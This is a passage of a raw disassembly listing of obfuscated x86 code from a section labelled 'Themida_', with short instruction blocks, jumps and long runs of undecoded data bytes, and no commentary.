loc_54686D: ; CODE XREF: Themida_:00548CFCj add esp, 4 sub esp, 4 mov [esp], edi push 10A4h mov [esp], eax mov eax, 3F687FC8h inc eax push ebx mov ebx, 355C5C09h jmp loc_54C868 ; --------------------------------------------------------------------------- aTspn db 'TιpN',0 dw 5300h dd 0A2E7E9h, 7E5C100h, 0FFFC90E9h, 2C281FFh, 0E9000000h dd 0B5A0h, 81665B66h, 0E7022444h, 7C016671h, 81660224h dd 0E702246Ch, 2EC8371h, 241C8966h, 490CBB66h, 245C2966h dd 1C8B6604h, 0CEE95124h, 1000077h, 0D3C381C3h, 5815F022h dd 2B9515Eh, 1000000h, 240C8BCBh, 0E904C483h, 0FFFFF8C1h dd 0E5EE814Eh, 0E97FFF7Bh, 716Fh, 0E92434FFh, 1C84h, 5D25D8F7h dd 257CD20Eh, 11301250h, 0E9D8F740h, 4D8Eh, 4C481h, 89560000h dd 4C681E6h, 83000000h, 68E904C6h db 53h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54693F: ; CODE XREF: Themida_:0054AEB4j sub edi, eax mov eax, [esp] add esp, 4 jmp loc_55070D ; --------------------------------------------------------------------------- db 51h dd 4B9h, 59C80100h, 991DE9h, 59CB0100h, 7A5468h, 24048900h dd 1B1EE9h, 2434FF00h, 8B2434FFh, 0C4812404h, 4, 815B5453h dd 4C3h, 4EC8100h, 0E9000000h, 0FFFFFACBh ; --------------------------------------------------------------------------- loc_546990: ; CODE XREF: Themida_:0055061Bj shr edx, 1 cmp eax, edx jz loc_54A195 push eax mov eax, esp jmp loc_551131 ; --------------------------------------------------------------------------- dw 0EDE9h dd 0FFFFFFF3h, 815D2434h, 4C4h, 64896800h, 0CE90000h, 2D00000Fh dd 0F8C4F44h, 9AD5E9h, 8886B200h, 52665AD7h, 0C2FEECB2h dd 28BBB050h, 0D70058C2h, 0EC835A66h, 24148904h, 0C680B4B6h dd 38EE80F0h, 53E7F680h, 0FE2860B7h, 31C6805Bh, 85E9F708h db 38h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5469FB: ; CODE XREF: Themida_:0054A623j add esp, 4 or eax, eax jz loc_54F111 push dword ptr [edi+1Ch] push 2072h mov [esp], eax jmp loc_54CC0E ; --------------------------------------------------------------------------- db 56h, 0BEh, 0EDh dd 11F8756h, 57F5E9F5h, 68510000h, 26391642h, 83240C8Bh dd 0C88904C4h, 4EC8359h, 0E9241C89h, 3066h, 4B951h, 0CA290000h dd 24148759h, 2404895Ch, 4B8h, 58C10100h, 31240C33h, 0C33240Ch dd 24248B24h, 7B9BA52h, 0F7926DB8h, 1EE952D0h, 81000076h dd 4C5h, 1B1E900h, 0BD550000h, 4, 0AE9EF01h, 8BFFFFFBh dd 0C4812404h, 4, 0AB58E9h, 24042100h, 2CD1E99Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_546AA2: ; CODE XREF: Themida_:00546543j xor esi, [esp] xor [esp], esi xor esi, [esp] pop esp or edx, eax jmp loc_54DBE2 ; --------------------------------------------------------------------------- db 89h dd 6FA4E902h, 0CF010000h, 0A7EF8159h, 3152E3C5h, 0D5F75FFDh dd 0AC25E9h db 0 ; --------------------------------------------------------------------------- loc_546ACD: ; CODE XREF: Themida_:005461DEj add ecx, 4 jmp loc_54891B ; --------------------------------------------------------------------------- loc_546AD8: ; CODE XREF: Themida_:0054D7AFj pop esi jmp loc_549CE6 ; --------------------------------------------------------------------------- loc_546ADE: ; CODE XREF: Themida_:00551D1Bj add edi, esi pop esi xchg edi, [esp] jmp loc_54D38F ; --------------------------------------------------------------------------- db 33h, 4, 24h dd 9012E9h, 10EE8100h, 5F11DC03h, 7E98E9h, 0B0E95C00h dd 50000026h, 4B8h, 58C52900h, 9717E9h, 4C48100h, 0E9000000h dd 327Bh, 0C781E789h, 4, 18FDE9h, 2434FF00h, 582434FFh dd 4C481h, 54500000h, 0C8B95158h, 497E8A72h, 8D3DC181h dd 6DE98175h, 5A000001h, 4234E9h, 0F1BA5200h, 0E9CB0493h dd 213Eh, 7590B850h, 3EE955C5h, 0BA000098h, 376A1CB9h dd 609FEA81h, 0EAC131B9h, 0D8CA8108h, 0F723C45Fh, 22EA81DAh dd 81DA40F6h, 6118CEBh, 81D3293Dh, 6118CC3h, 0EB815A3Dh dd 0C0F069Ah, 1C8BD801h, 4C48124h, 83000000h, 4AE902C0h dd 0FE000067h, 0CBC980C9h, 6633F180h, 28AFB353h, 285B66D9h dd 2F6859CBh, 89000000h, 3768241Ch, 89000037h, 0EC832414h dd 240C8904h, 9739E9h, 1C08300h, 0E0240B0Dh, 276B3543h dd 0C7015FF1h, 1622E9h, 5E08900h, 4, 405h, 9C0E900h, 525D0000h dd 7219E9h, 57FD2D00h, 5D2D7DF5h, 534EC56h, 5B5065CBh dd 0CB2DD829h, 515B5065h, 0EC565DB9h, 0F25DE934h, 8358FFFFh dd 65E904C4h, 83FFFFF1h, 2C8704EDh, 3C895C24h, 525F5424h dd 0C281E289h, 4, 8704EA83h, 895C2414h, 4BA2414h, 0E9000000h dd 45C3h, 70DB68h, 7C73E900h, 69BD0000h, 81728654h, 7F5CDAC5h dd 4E5C145h, 0ED81DDF7h, 7FA4EBCCh, 6E9E901h, 57000009h dd 42474FFh, 24048F5Fh, 0E924248Bh, 0F89h, 1C55E952h, 5A0D0000h dd 0F7183D14h, 9D3E2DD8h, 0C5012C38h, 0B9514D58h, 408C136Ah dd 0FFFEABE9h, 0E9008FFFh, 0FFFFF0DCh, 5759C801h, 21336ABFh dd 9AC78176h, 2D89DECCh, 1B03169Ch, 9C05F801h, 8B1B0316h dd 0C481243Ch, 4, 8B240487h, 4FF2424h, 0A9E99C24h db 0F0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_546CEB: ; CODE XREF: Themida_:005471C5j pop esi jmp loc_54F682 ; --------------------------------------------------------------------------- aPsin db 'Pι¨n',0 dw 8100h dd 4C2h, 2BB5300h, 0E9000000h, 7D6Ch, 15EF001h, 2A8A2DD8h dd 31E91085h, 66000019h, 1EF8058h, 67D4E9h db 0 ; --------------------------------------------------------------------------- loc_546D21: ; CODE XREF: Themida_:005505C8j push eax mov eax, 0F15FF99Bh sub ebx, eax pop eax or ecx, ebx pop ebx not ecx sub ecx, 8090D4C7h and eax, ecx pop ecx or eax, eax jz loc_5512E6 push 681Fh mov [esp], ebx mov ebx, 28h sub ebx, 2D2245E6h add ebx, 179463F8h sub ebx, 31AB15B1h add ebx, edi push ecx jmp loc_54BDB8 ; --------------------------------------------------------------------------- db 0Fh dd 34FFC0B6h, 2434FF87h, 8124048Bh, 4C4h, 1552E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_546D7E: ; CODE XREF: Themida_:0054ACA2j dec edx shl edx, 3 sub edx, 0ECBDBC48h add eax, 5EED407Fh add eax, edx sub eax, 5EED407Fh pop edx jmp loc_55134F ; --------------------------------------------------------------------------- dw 0C681h dd 30151CDAh, 6DE6C181h, 63E947B4h, 0D000054h, 64CB15D8h dd 463B710Dh, 0FA2D4809h, 1EDCFFFh, 0EB8158C3h, 4, 2474FF53h dd 21A1E904h, 0F7290000h, 8F61E95Eh, 44010000h, 41E90424h db 0F2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_546DDF: ; CODE XREF: Themida_:00545D9Ej pop ebp push 279Fh mov [esp], edi mov edi, 299673E0h sub edi, 54FE0F09h dec edi sub edi, 98BE18E6h add ecx, edi pop edi add ecx, edi sub ecx, 3BDA4BF0h push edx push 0 mov edx, [esp] jmp loc_54C974 ; --------------------------------------------------------------------------- db 83h dd 0FF5002C0h, 58042474h, 0E924048Fh, 7739h ; --------------------------------------------------------------------------- loc_546E24: ; CODE XREF: Themida_:0054D391j mov esi, 2262591Dh shr esi, 5 jmp loc_546FE5 ; --------------------------------------------------------------------------- db 0B9h, 0B8h, 1Bh dd 27E914D6h, 87000092h, 0E95C242Ch, 0FFFFEF50h, 4AE4E95Bh dd 94B10000h, 80EFF180h, 58E937E9h, 5A000022h, 0B951h dd 0D9010000h, 48B31FFh, 4C48324h, 81240C8Bh, 4C4h, 0EA685B00h dd 8900005Ah, 0A0E92434h, 8100002Eh, 0EE3E47F3h, 5BDD29DCh dd 815DEB09h, 4ECh, 243C8900h, 7A247FBFh, 1203E938h, 2C810000h dd 88181324h, 24040116h, 0E9E68956h, 63E2h, 0E924248Bh dd 25C7h, 710C685Bh, 2C890000h, 2BD24h, 0EE010000h, 83242C8Bh dd 348704C4h, 24248B24h, 24048B66h, 89A1E9h db 0 ; --------------------------------------------------------------------------- loc_546EDD: ; CODE XREF: Themida_:00548C04j mov [esp], eax mov eax, 7C70277Ch dec eax not eax shl eax, 3 neg eax shl eax, 5 xor eax, 70277C04h add ebp, eax pop eax sub ebp, 4 jmp loc_545FB7 ; --------------------------------------------------------------------------- dd 4B8h, 2BA5200h, 81293054h, 775068EFh, 81D72974h, 775068C7h dd 0C7295A74h, 5402C781h, 87582930h, 248B243Ch, 241C8924h dd 270EE9h, 0D1C38000h, 0DAE9C328h, 83000043h, 0DEE904C4h db 82h, 2 dup(0) ; --------------------------------------------------------------------------- loc_546F43: ; CODE XREF: Themida_:0054CC37j push ebp mov edi, [esp] add esp, 4 pop ebp add edi, ecx mov ecx, [esp] add esp, 4 xor ecx, edi jmp loc_54652D ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 0E92434FFh, 5DBCh ; --------------------------------------------------------------------------- loc_546F68: ; CODE XREF: Themida_:00547C3Cj xchg ebp, [esp] jmp loc_54B9EF ; --------------------------------------------------------------------------- dd 8904EC83h, 0EC832404h, 240C8904h, 37CAE9h, 0E9CF2900h dd 58F1h, 81E78957h, 4C7h, 4EF8100h, 87000000h, 895C243Ch dd 74FF240Ch, 4AE90424h, 8100007Bh, 4C5h, 348E900h, 0E7680000h dd 8900001Fh, 0EFE92414h db 43h, 2 dup(0) ; --------------------------------------------------------------------------- loc_546FBF: ; CODE XREF: Themida_:00551371j mov eax, esp add eax, 4 sub eax, 4 jmp loc_54E932 ; --------------------------------------------------------------------------- dw 0E951h dd 9D0Eh, 3873D335h, 47215935h, 2434FF1Ch, 0FFFC41E9h db 0FFh ; --------------------------------------------------------------------------- loc_546FE5: ; CODE XREF: Themida_:00546E2Cj xor esi, 5A374A09h push 6819h mov [esp], ebp jmp loc_545F66 ; --------------------------------------------------------------------------- aZ4LUsx db '4$$$UιX#',0 align 4 dd 24048B66h, 5C1D68h, 24348900h, 4EC81h, 83E90000h db 6Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54701B: ; CODE XREF: Themida_:0054AD0Fj pop ebp jmp loc_54B083 ; --------------------------------------------------------------------------- db 28h, 0C3h, 58h dd 66C0B60Fh, 5524148Bh, 0C5815D54h, 4, 0FFFACAE9h, 5644BAFFh dd 0D6297DD1h, 34335F5Ah, 24343124h, 0E9243433h, 24D3h dd 33242C31h, 665C242Ch, 5124048Bh, 0BF57E189h, 59353719h dd 5303E7C1h, 93F7ABBh, 91BEE912h, 8B660000h, 9B682404h dd 89000006h, 5954240Ch, 4C181h, 0EC830000h, 242C8904h dd 0C581E589h, 4, 4ED81h, 2C870000h, 14895C24h, 4EC8124h dd 0E9000000h, 6562h, 43DAEF81h, 41E9D743h, 89000076h dd 0C6B9240Ch, 8139E00Dh, 9D258CF1h, 5049492Bh, 5E58E8B8h dd 58C12116h, 84CF181h, 0A0E9125Ch, 5900002Bh, 3413C805h dd 5BE950A2h, 0B800003Eh, 3BE06DDAh, 684CCB25h, 4E8C10Bh dd 0F44BC72Dh, 1B95105h, 0E9FAC1B9h, 471Eh, 0FFEC8BE9h dd 81E189FFh, 4C1h, 4C18300h, 5C240C87h, 6F5D68h, 243C8900h dd 0A0E310BFh, 8BF931B0h, 0C483243Ch, 95E8E904h, 1BB0000h dd 21000000h, 2434FFD8h, 5B2434FFh, 4C481h, 89500000h dd 405E0h, 50520000h, 7A38E9h, 8E1C100h, 8F04F181h, 0CE01ADDFh dd 2EE8159h, 33000000h, 5FE92434h db 13h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54716F: ; CODE XREF: Themida_:00548C51j add ebx, edi pop edi mov eax, [ebx] mov ebx, [esp] jmp loc_54FD6F ; --------------------------------------------------------------------------- dd 0C681E689h, 4, 618FE957h, 0F8310000h, 0A5EA815Fh, 16D9773h dd 87AAE9C2h, 0EB810000h, 33B52160h, 0C381F329h, 33B52160h dd 0F361E95Eh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5471AE: ; CODE XREF: Themida_:0054DD09j push esi mov esi, 183D62CAh sub edi, 134171Ah add edi, esi push ebx mov ebx, 134171Ah add edi, ebx pop ebx jmp loc_546CEB ; --------------------------------------------------------------------------- dw 0E953h dd 1001h, 5C242C87h, 0C49E9h, 4C38100h, 81000000h, 4EBh dd 8934E900h, 83580000h, 0F581FFEDh, 3EEA0DC6h, 6085ED81h dd 0E9211E05h, 12E6E9h, 2434FF00h, 4C4835Fh, 0A668E9h dd 45D5F700h, 41BBE9h, 0EC815300h, 4, 0BD242C89h, 27505845h dd 1AE0ED81h, 0D5F75133h, 8107EDC1h, 0FFFFFFC5h, 133CE9FFh dd 2B90000h, 29000000h, 2C3359CDh, 242C3124h, 84A6E9h db 0 ; --------------------------------------------------------------------------- loc_54724D: ; CODE XREF: Themida_:0054F367j mov ecx, 4 jmp loc_550F62 ; --------------------------------------------------------------------------- aStg db '[ΐμ',8,'ιTG',0 align 10h dd 81242C8Bh, 4C4h, 0E9D02100h, 679Dh, 8324348Bh, 4E904C4h dd 4AFFFFFAh, 42D7C281h, 8152EE0Fh, 2E222404h, 525E489Ch dd 9C2E22BAh, 5AD62948h, 5EF1295Ah, 4BE9C831h, 83000080h dd 3EE904C4h db 56h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5472A7: ; CODE XREF: Themida_:00550EC6j xchg ebp, [esp] pop esp pop eax push esi mov esi, 196D7736h xor eax, esi jmp loc_5489C6 ; --------------------------------------------------------------------------- loc_5472B9: ; CODE XREF: Themida_:00549FD2j mov ebx, [esp] add esp, 4 shl edx, 8 sub edx, 70918D1h shl edx, 5 jmp loc_54A575 ; --------------------------------------------------------------------------- db 89h dd 0FE68241Ch, 0FF000000h, 34FF2434h, 0C4835B24h, 8082E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5472EA: ; CODE XREF: Themida_:00548B81j or eax, 17C3348Ah push ecx mov ecx, 1C7E45B6h jmp loc_5478EF ; --------------------------------------------------------------------------- dw 0C581h dd 2, 5C242C87h, 651B6866h, 1F3CE9h, 0CB685D00h, 8900007Ah dd 0ACE92414h, 66000069h, 0E9240C8Bh, 78Bh, 0FFEA6BE9h dd 56525BFFh, 0C681E689h, 4, 4EE81h, 34870000h, 24895C24h dd 8814E924h, 24890000h, 2A966824h, 14890000h, 38B5E924h dd 0CA810000h, 3A8971B8h, 2C6EBB53h, 0E3817652h, 5455487Eh dd 48A6EB81h, 98E930B9h, 29000065h, 0F2095BDEh, 7EAC15Eh dd 68h, 24142900h, 5011E95Ah, 3C870000h, 24248B24h, 2C42E9h dd 1C895C00h, 46824h, 15B0000h, 241C8BDAh, 4C481h, 0B8500000h dd 2, 117AE9h, 241C3100h, 42CE9h, 5E5C100h, 0E902EDC1h dd 9EEEh, 0B2DF001h, 0FF1BE019h, 1BE92434h, 55000000h dd 0AD1920BDh, 5DEE0969h, 83C3E9h db 0 ; --------------------------------------------------------------------------- loc_5473E5: ; CODE XREF: Themida_:0054BF51j mov ebx, esp add ebx, 4 jmp loc_5512FE ; --------------------------------------------------------------------------- dw 815Eh dd 4C4h, 66C33100h, 6600B60Fh, 66346068h, 0E9240489h, 0FFFFE988h dd 5F2434FFh, 81E18951h, 4C1h, 4C18300h, 5C240C87h, 8904EC83h dd 47E9242Ch, 66000053h, 6824048Bh, 3A86h, 89240489h, 0C7BB53E0h dd 0C11B1D20h, 13E904E3h db 82h, 2 dup(0) ; --------------------------------------------------------------------------- loc_547447: ; CODE XREF: Themida_:00547BB8j mov edx, ecx pop ecx jmp loc_551003 ; --------------------------------------------------------------------------- db 5Ah dd 1BF1E9h, 24143100h, 8B241433h, 0DEE92424h, 8900001Ch dd 0EA8958C5h, 51242C8Bh, 0B850E189h, 55A402E6h, 1D721A35h dd 5F29E949h, 0C1800000h, 80D12817h, 0E95A17E9h, 4E60h dd 8124048Fh, 42404h, 5580000h, 4, 761068h, 242C8900h dd 119768h, 811AE900h, 0FCB80000h, 0E90FF762h, 47E7h ; --------------------------------------------------------------------------- loc_5474B8: ; CODE XREF: Themida_:0054CCFEj add esp, 2 push 0F87h mov [esp], eax mov al, 0DDh sub esp, 4 jmp loc_54A87E ; --------------------------------------------------------------------------- dd 31241433h, 98E92414h, 0BB00005Ch, 2F253669h, 0AA88E9h dd 0E6895600h, 4C681h, 66E90000h db 0EEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5474F3: ; CODE XREF: Themida_:0054EF9Fj add eax, 4 add eax, 4 push eax push dword ptr [esp+4] pop eax pop dword ptr [esp] pop esp pop ebx push dword ptr [edi+eax*4] push dword ptr [esp] pop eax push 5C38h mov [esp], edi mov edi, esp add edi, 4 push edx jmp loc_549B5C ; --------------------------------------------------------------------------- db 0E9h, 6Ah, 0E8h dd 489FFFFh, 0E862E924h, 0E95BFFFFh, 0FFFFE8EBh, 4B951h dd 0CA890000h, 5AD60159h, 5604C683h, 42474FFh, 24048F5Eh dd 6FDCE9h db 0 ; --------------------------------------------------------------------------- loc_547555: ; CODE XREF: Themida_:0054F287j pop ebp dec edx sub edx, 0ABDB17BEh mov eax, edx pop edx push ebx jmp loc_54603A ; --------------------------------------------------------------------------- dw 0C681h dd 4, 2BA5257h, 0E9000000h, 4B07h, 0BA525F54h, 2C5C4166h dd 0A456E9h, 7CE95D00h, 5C000034h, 4C8FE955h, 0F3010000h dd 0D1FE9h, 0E7F6E900h, 8B66FFFFh, 30E9240Ch, 80000028h dd 2DE9D4C1h, 51000017h, 0FFFC85E9h, 5DE989FFh, 0A5CE95Fh dd 4870000h, 0FB015C24h, 95A8E9h, 83C68100h, 0E9432627h dd 8BC9h, 0B60F66h, 3110E9h, 932DAD00h, 0E917C115h, 1E5Ch dd 0C36F0CB8h, 97EFE95Ch, 0C8B0000h, 6938E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5475FA: ; CODE XREF: Themida_:005477C2j pop esp mov [esp], edi jmp loc_550C42 ; --------------------------------------------------------------------------- loc_547603: ; CODE XREF: Themida_:0054A198j pop ebx sub esp, 4 mov [esp], ecx push esp mov ecx, [esp] add esp, 4 add ecx, 4 push 1D92h jmp loc_549D6A ; --------------------------------------------------------------------------- db 68h dd 616Bh, 89241C89h, 4C381E3h, 83000000h, 1C8704EBh, 2C895C24h dd 3A7E924h, 0BB530000h, 7BB868B0h, 585BDF01h, 0E902C783h dd 64C3h, 763B3DBDh, 0CD814D5Eh, 3EAE450Ch, 609FE9h, 23860500h dd 335D0661h, 4312404h, 24043324h, 5C02E95Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_54767E: ; CODE XREF: Themida_:00549B61j pop edx not edx shr edx, 1 and edx, 11BB4FF7h dec edx shr edx, 3 push ecx jmp loc_5478DD ; --------------------------------------------------------------------------- loc_547693: ; CODE XREF: Themida_:0054DCC2j add edi, 2 xchg edi, [esp] mov esp, [esp] push ebx push esp pop ebx add ebx, 4 sub ebx, 4 push ebx push dword ptr [esp+4] pop ebx jmp loc_54C1FD ; --------------------------------------------------------------------------- db 0ACh, 51h, 52h dd 0E6D0BEB6h, 0E904E6C0h, 239Eh, 3716EA81h, 5F58493Ah dd 9B7CE9h, 4C38300h, 5C241C87h, 4603E9h, 83515800h, 8F5404ECh dd 1CE92404h, 81000041h, 6026CCE6h, 0ECF6817Ah, 8102D649h dd 0E0F4AAC6h, 5EF38993h, 99D9E9h, 0BF574900h, 1A751975h dd 22E968h, 5139E900h, 665C0000h, 0E9240489h, 0FFFFE670h ; --------------------------------------------------------------------------- loc_547724: ; CODE XREF: Themida_:0054BF24j sub ebx, edx mov edx, [esp] add esp, 4 sub eax, ebx jmp loc_548E1E ; --------------------------------------------------------------------------- dw 1489h dd 34FF5424h, 866CE924h, 0C1810000h, 4, 4C181h, 98E90000h dd 81000063h, 7059A0E3h, 8E3C101h, 0E9ECF381h, 0E8E9BE6Ah dd 89FFFFE8h, 2434FFC7h, 4C48358h, 248CCF81h, 814F6FEBh dd 762DDDF7h, 24F78124h, 15B9D43h, 1605E9FAh, 505B0000h dd 67FFE9h, 4C48300h, 0C681DEF7h, 2EA758E6h, 2B9EF681h dd 0F789F68Ch, 8124348Bh, 4C4h, 47E8E900h, 815B0000h, 4C3h dd 0E1E95200h db 56h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5477BF: ; CODE XREF: Themida_:0054B3A2j xchg ebp, [esp] jmp loc_5475FA ; --------------------------------------------------------------------------- loc_5477C7: ; CODE XREF: Themida_:0054943Fj push ebx mov ebx, 0BB807A4h xor ebx, 6259770Dh jmp loc_547936 ; --------------------------------------------------------------------------- dd 73D3B951h, 4C313538h, 58590424h, 0FFF7EBE9h, 241C33FFh dd 8B24248Bh, 0EC832404h, 242C8904h, 0BB53E589h, 4, 0D3E9DD01h dd 42h, 0C05B66F9h, 0F18002E9h, 964BE9BCh, 54520000h, 0DD7E9h dd 0C62DAD00h, 516CB47h, 665C4ACFh, 0C342805h, 2DD82931h dd 310C3428h, 5C4ACF2Dh, 0A644E966h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54783E: ; CODE XREF: Themida_:00551E4Fj push eax jmp loc_54D043 ; --------------------------------------------------------------------------- dd 0E9D5F795h, 616Dh, 9D1C77FFh, 24041158h, 0FCCBE99Ch dd 0B450FFFFh, 58E3286Fh, 83C3285Ah, 896602ECh, 0B353240Ch dd 5BDD8868h, 8B66EB28h, 8950240Ch, 405E0h, 0BD550000h dd 2, 6123862Dh, 0E9E80106h, 0FFFFFDD9h, 0E95EF729h, 0FFFFFAF2h dd 0E940478Fh, 0FFFFE4F4h, 592434FFh, 496D68h, 341DE900h dd 77FF0000h, 59669D1Ch, 9C2414D2h, 0FFE4D7E9h, 2BBFFh dd 14E90000h, 8900004Fh, 0E589242Ch, 4C581h, 0FE90000h db 0EDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5478D7: ; CODE XREF: Themida_:0054D458j push eax jmp loc_5512A2 ; --------------------------------------------------------------------------- loc_5478DD: ; CODE XREF: Themida_:0054768Ej mov ecx, 226D5249h xor ecx, 227F7A97h sub edx, ecx jmp loc_54CB2C ; --------------------------------------------------------------------------- loc_5478EF: ; CODE XREF: Themida_:005472F5j add ecx, 0EDE52A0h push eax mov eax, 8CF71D7h not eax neg eax neg eax not eax inc eax add eax, 4ED595BBh add ecx, eax pop eax shl ecx, 8 sub ecx, 819F5D97h add eax, ecx jmp loc_5489AD ; --------------------------------------------------------------------------- dd 3E7BA52h, 0D7215F92h, 1F7815Ah, 8129110Dh, 145DA6EFh dd 7AA3E963h db 2 dup(0) ; --------------------------------------------------------------------------- loc_547936: ; CODE XREF: Themida_:005477D3j shr ebx, 5 sub ebx, 7129694Ch add ebx, 5C6A4CDDh jmp loc_54AEE2 ; --------------------------------------------------------------------------- dw 0BA52h dd 4, 0E95AD601h, 1EB6h, 56CFF181h, 6855350Eh, 416Ch, 0B8240489h dd 2A4175EBh, 46B85053h, 354FD03Ch, 43A6553Bh, 5E0C140h dd 862DD0F7h, 895BB666h, 0E38158C3h, 1F700DCh, 59C5C381h dd 0F3813BE4h, 67404EA1h, 2B9EE9h db 0 ; --------------------------------------------------------------------------- loc_54799D: ; CODE XREF: Themida_:0054C2BEj add eax, edx jmp loc_54AB69 ; --------------------------------------------------------------------------- dd 2434FF5Ch, 0FFFD34E9h db 0FFh ; --------------------------------------------------------------------------- loc_5479AD: ; CODE XREF: Themida_:0054D212j push ecx mov ecx, 4 jmp loc_546540 ; --------------------------------------------------------------------------- dd 703FF681h, 38E90BADh, 0F7FFFFEBh, 0E99C241Ch, 0FFFFE3C8h dd 0E924248Bh, 50BCh, 0FAF68h, 241C8900h, 0DE6B8F68h, 0EB815B1Dh dd 0FFFFFFFFh, 0FFE474E9h, 468FFh, 0E95D0000h, 3788h, 81E18951h dd 4C1h, 911EE900h, 0EC830000h, 243C8904h, 0B57A51BFh dd 0F774E94Bh, 0C581FFFFh, 4, 2B850h, 0C5290000h, 3A5DE9h dd 242C3300h, 2404895Ch, 0BB53E089h, 4, 4A52E9h db 0 ; --------------------------------------------------------------------------- loc_547A3D: ; CODE XREF: Themida_:0054CA42j xchg esi, edx jmp loc_54F1E3 ; --------------------------------------------------------------------------- dd 8758C101h, 285C240Ch, 0E99C2404h, 0FFFFE340h, 9916840Fh dd 77FF0000h, 1CFF681Ch, 1C890000h, 0CFB85024h, 68350E56h dd 1C0Bh, 6F70E9h, 885B6600h, 0E8005AF5h, 0C52C59h, 2CC504D8h dd 4EC830Bh, 6B60E9h, 2434FF00h, 0E92434FFh, 4039h, 4C481h dd 0F1290000h, 0F2BB5350h, 8914B371h, 8BE95BD8h, 56000042h dd 2A41E9h, 55DFBE00h, 0CDE928ADh db 0Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_547ABF: ; CODE XREF: Themida_:0054E687j push dword ptr [esp] pop eax add esp, 4 movzx eax, al mov dx, [esp] push 62DBh mov [esp], edi mov edi, esp push ebp mov ebp, 4 add edi, 78450AD8h add edi, 5CF22F96h add edi, ebp sub edi, 5CF22F96h push edx push edi push ebx jmp loc_54D6A1 ; --------------------------------------------------------------------------- db 58h, 68h, 1Eh dd 8900002Bh, 68552414h, 175A56E4h, 0FFF800E9h, 24048FFFh dd 4EC81h, 4AE90000h, 5200006Eh, 1AB5BD55h, 0F74D5D5Eh dd 0B3F581D5h, 89D3D2A3h, 23E95DEAh, 0C1FFFFF8h, 0C28103E2h dd 3F9D545Ah, 0E95AD729h, 3B47h, 8059EA00h, 5704EBC2h dd 27E2E9h, 4C28100h, 0E9000000h, 92AAh, 16E9D9F7h, 5300009Ch dd 8AE947B3h, 8B000050h, 0C481243Ch, 4, 9EE9D829h, 6800008Ch dd 2278h, 81240489h, 28542404h, 515E3DC4h, 4002ABB9h, 0E9D14106h dd 8106E9C1h, 6E6F48F1h, 0DAE9814Ch, 8127F52Bh, 0A99B1FE9h dd 1686E9E6h db 2 dup(0) ; --------------------------------------------------------------------------- loc_547BAE: ; CODE XREF: Themida_:0054C480j xor [ebx], eax pop ebx push edx push ecx mov ecx, 24h jmp loc_547447 ; --------------------------------------------------------------------------- db 80h, 0C3h, 6Fh dd 93E9F300h, 0C1FFFFFCh, 0E0C108E8h, 2D58E905h, 5F540000h dd 4C781h, 0DFE90000h, 5300008Ah, 4BBh, 245C0100h, 241C8B04h dd 81E78957h, 4C7h, 4C78100h, 0E9000000h, 89DAh, 1CFAC581h dd 0C5817BA1h, 396863CAh, 55DE801h, 4, 0FFEED0E9h db 0FFh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub esp, 4 mov [esp], eax mov eax, 4 add ebp, 264B77C6h sub ebp, eax sub ebp, 264B77C6h pop eax jmp loc_546F68 ; --------------------------------------------------------------------------- db 0E9h, 4Eh, 0E1h dd 0E958FFFFh, 0FFFFF252h, 0DE6851ADh, 591D1E4Bh, 1013E9h dd 1C77FF00h, 6658669Dh, 9C240419h, 0FFE12BE9h, 0BCC581FFh dd 0F70B654Dh, 16C581DDh, 0E92DF131h, 0FFFFF741h ; --------------------------------------------------------------------------- loc_547C7C: ; CODE XREF: Themida_:0054AE56j add ebp, edx jmp loc_549488 ; --------------------------------------------------------------------------- db 56h dd 4A3ED6BEh, 29E94E66h, 0E9FFFFFDh, 0FFFFE100h ; --------------------------------------------------------------------------- loc_547C94: ; CODE XREF: Themida_:005512F9j mov eax, 0A560400h xor eax, 28BF6DA5h xor ebx, eax pop eax jmp loc_54DE7B ; --------------------------------------------------------------------------- loc_547CA6: ; CODE XREF: Themida_:0054DF00j mov edi, [esp] add esp, 4 neg edx shl edx, 8 sub edx, 41D10954h add edx, 737F092Ah jmp loc_54AE50 ; --------------------------------------------------------------------------- aI4IcsK db '4$ζι+K',0 dw 8100h dd 1844A6EAh, 40EA8106h, 813F735Fh, 7BBF08C2h, 5AD5297Ch dd 8EE9EB89h, 0BD00003Bh, 724F1225h, 15DEB01h, 0EF815BDFh dd 4, 8B243C87h, 4892424h, 0E08AE924h, 8B66FFFFh, 5457240Ch dd 4C7815Fh, 68000000h, 5ADCh, 0BB241C89h, 2, 8904EC83h dd 19BE2434h, 1096D24h, 2434FFF7h, 4C4815Eh, 81000000h dd 8B1825C7h, 0C17E930h, 0C4810000h, 4, 4F27E9h, 33876800h dd 0BCE90000h db 1Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_547D5B: ; CODE XREF: Themida_:005490BCj or eax, eax jz loc_549E2A push dword ptr [edi+28h] jmp loc_550D97 ; --------------------------------------------------------------------------- db 81h dd 0AC2848F2h, 11B50516h, 32D78BEh, 143EB73h, 730305D0h dd 0B52D43EBh, 8B78BE11h, 0C4812414h, 4, 31240433h, 4332404h dd 0C2095C24h, 0FE9E2D1h, 87FFFFF2h, 0E1E9240Ch, 4800009Fh dd 0EE3BF57h, 0E94F1F09h, 2DA9h, 43A9E958h, 74FF0000h dd 2BE90424h, 0BF000085h, 799E4FA2h, 5C26F781h, 88E9650Ah dd 53000074h, 4BBh, 0E9C18100h, 127A046h, 0BBBF57D9h, 8151A620h dd 3D0511CFh, 0A7E78107h, 0E909C414h, 354h, 505FFE01h dd 355A99B8h, 185AE96Dh, 31660000h, 0E95866C3h, 0C56h ; --------------------------------------------------------------------------- loc_547E14: 